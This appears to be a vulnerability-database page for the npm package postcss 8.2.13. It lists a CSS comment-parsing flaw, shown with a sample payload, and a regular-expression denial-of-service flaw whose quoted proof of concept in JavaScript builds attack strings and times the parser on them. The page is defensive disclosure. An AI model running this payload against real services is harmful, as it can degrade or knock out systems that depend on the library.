Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/postcss@8.2.13
purl pkg:npm/postcss@8.2.13
Next non-vulnerable version 8.4.31
Latest non-vulnerable version 8.4.31
Risk 3.1
Vulnerabilities affecting this package (1)
Vulnerability Summary Fixed by
VCID-f8u5-8mj5-7yc6
Aliases:
CVE-2023-44270
GHSA-7fh5-64p2-3v2j
PostCSS line return parsing error An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be `\r` discrepancies, as demonstrated by `@font-face{ font:(\r/*);}` in a rule. This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
8.4.31
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (1)
Vulnerability Summary Aliases
VCID-scy5-ccf9-dygp Regular Expression Denial of Service in postcss The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern ```regex \/\*\s* sourceMappingURL=(.*) ``` ### PoC ```js var postcss = require("postcss") function build_attack(n) { var ret = "a{}" for (var i = 0; i < n; i++) { ret += "/*# sourceMappingURL=" } return ret + "!"; } ``` ```js postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) { if (i % 1000 == 0) { var time = Date.now(); var attack_str = build_attack(i) try { postcss.parse(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } catch (e) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); } } } ``` CVE-2021-23382
GHSA-566m-qj78-rww5

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-16T22:39:50.624703+00:00 GitLab Importer Affected by VCID-f8u5-8mj5-7yc6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2023-44270.yml 38.4.0
2026-04-11T23:59:17.100008+00:00 GitLab Importer Affected by VCID-f8u5-8mj5-7yc6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2023-44270.yml 38.3.0
2026-04-03T00:02:21.720696+00:00 GitLab Importer Affected by VCID-f8u5-8mj5-7yc6 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2023-44270.yml 38.1.0
2026-04-02T12:38:18.377896+00:00 GitLab Importer Fixing VCID-scy5-ccf9-dygp https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/postcss/CVE-2021-23382.yml 38.0.0
2026-04-01T15:59:18.347891+00:00 GHSA Importer Fixing VCID-scy5-ccf9-dygp https://github.com/advisories/GHSA-566m-qj78-rww5 38.0.0
2026-04-01T13:05:47.085289+00:00 GithubOSV Importer Fixing VCID-scy5-ccf9-dygp https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/01/GHSA-566m-qj78-rww5/GHSA-566m-qj78-rww5.json 38.0.0